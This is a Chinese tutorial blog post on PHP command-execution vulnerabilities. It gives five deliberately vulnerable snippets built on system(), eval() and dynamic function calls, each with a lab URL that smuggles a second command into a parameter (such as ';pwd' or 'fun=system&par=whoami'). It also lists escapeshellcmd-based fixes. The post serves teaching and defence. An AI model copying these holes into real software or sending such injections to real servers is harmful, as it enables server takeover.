標籤:命令執行漏洞
一,什麼是命令執行漏洞:
應用有時需要調用一些執行系統命令的函數,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當使用者能控制這些函數中的參數時,就可以將惡意系統命令拼接到正常命令中,從而造成命令執行攻擊,這就是命令執行漏洞。
二,利用條件:
1,應用調用執行命令的函數
2,將使用者輸入作為系統命令的參數拼接到命令中
3,沒有對使用者輸入過濾或者過濾不嚴格
三,漏洞危害:
1,攻擊者可以執行命令擷取想要的資訊
2,攻擊者可以拿下伺服器等
四,例子:
例子一:
代碼:
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("$arg"); }?>
訪問:http://127.0.0.1/mingling/simple1.php?cmd=ping%20127.0.0.1
也就是執行了“ping 127.0.0.1”命令
650) this.width=650;" src="https://s2.51cto.com/wyfs02/M02/03/D5/wKiom1mhSCqRquRRAABG8Ph3pVk375.png" title="2017-08-26_180604.png" alt="wKiom1mhSCqRquRRAABG8Ph3pVk375.png" />
例子二:
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("ping -c 3 $arg"); }?>
訪問:http://192.168.25.107/simple2.php?cmd=127.0.0.1;pwd
執行了pwd命令
650) this.width=650;" src="https://s4.51cto.com/wyfs02/M01/A2/86/wKioL1mhSpKwchuFAABd3q5AflU285.png" title="2017-08-26_181626.png" alt="wKioL1mhSpKwchuFAABd3q5AflU285.png" />
例子三:
<?php $arg = $_GET[‘cmd‘]; if ($arg) { system("ls -al \"$arg\""); } ?>
訪問:http://192.168.25.107/simple3.php?cmd=/home%22;ifconfig%22
執行了ifconfig命令
650) this.width=650;" src="https://s1.51cto.com/wyfs02/M02/03/D6/wKiom1mhS_PyLrHyAACEeRHaYWU317.png-wh_500x0-wm_3-wmp_4-s_23229392.png" title="3.png" alt="wKiom1mhS_PyLrHyAACEeRHaYWU317.png-wh_50" />
例子四:
<?php eval($_REQUEST[‘code‘]);?>
當訪問:http://192.168.25.107/simple4.php?code=phpinfo();
注意後面的分號,當然後面也可以跟一句話木馬。
650) this.width=650;" src="https://s2.51cto.com/wyfs02/M00/A2/86/wKioL1mhTSOCUcCpAAB08Yga69Y420.png-wh_500x0-wm_3-wmp_4-s_660029195.png" title="4.png" alt="wKioL1mhTSOCUcCpAAB08Yga69Y420.png-wh_50" />
例子五:
<?php $fun = $_GET[‘fun‘]; $par = $_GET[‘par‘]; $fun($par);?>
當訪問:http://192.168.25.107/simple5.php?fun=system&par=whoami
其實就相當於是執行了:
system("whoami")
650) this.width=650;" src="https://s1.51cto.com/wyfs02/M02/03/D6/wKiom1mhTmXy7ri_AAAtxYR739k204.png-wh_500x0-wm_3-wmp_4-s_3769725770.png" title="3.png" alt="wKiom1mhTmXy7ri_AAAtxYR739k204.png-wh_50" />
五:修複方案:
盡量少用執行命令的函數或者直接禁用
參數值盡量使用引號包括
在使用動態函數之前,確保使用的函數是指定的函數之一
在進入執行命令的函數/方法之前,對參數進行過濾,對敏感字元進行轉義
如:
<?php $arg = $_GET[‘cmd‘]; // $arg = addslashes($arg); $arg = escapeshellcmd($arg); //拼接前就處理 if ($arg) { system("ls -al ‘$arg‘"); }?>
escapeshellcmd( )逃脫字串中任何可能用來哄騙(trick)shell命令的字串,此函數用來確定資料傳送到exec( )或system( )之前,由使用者輸入的任何資料已經逃脫,標準的用法如下
Example :<?php system(EscapeShellCmd($cmd));?>
六:參考連結:
1,http://haojiawei.xyz/2017/03/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
2,http://www.jianshu.com/p/1e706f13b088
650) this.width=650;" src="https://s3.51cto.com/wyfs02/M01/A2/86/wKioL1mhT0LBqM-9AAQF1aT1ixQ725.png" title="打賞.png" alt="wKioL1mhT0LBqM-9AAQF1aT1ixQ725.png" />
本文出自 “天道酬勤” 部落格,請務必保留此出處http://tdcqvip.blog.51cto.com/12995943/1959586
web命令執行漏洞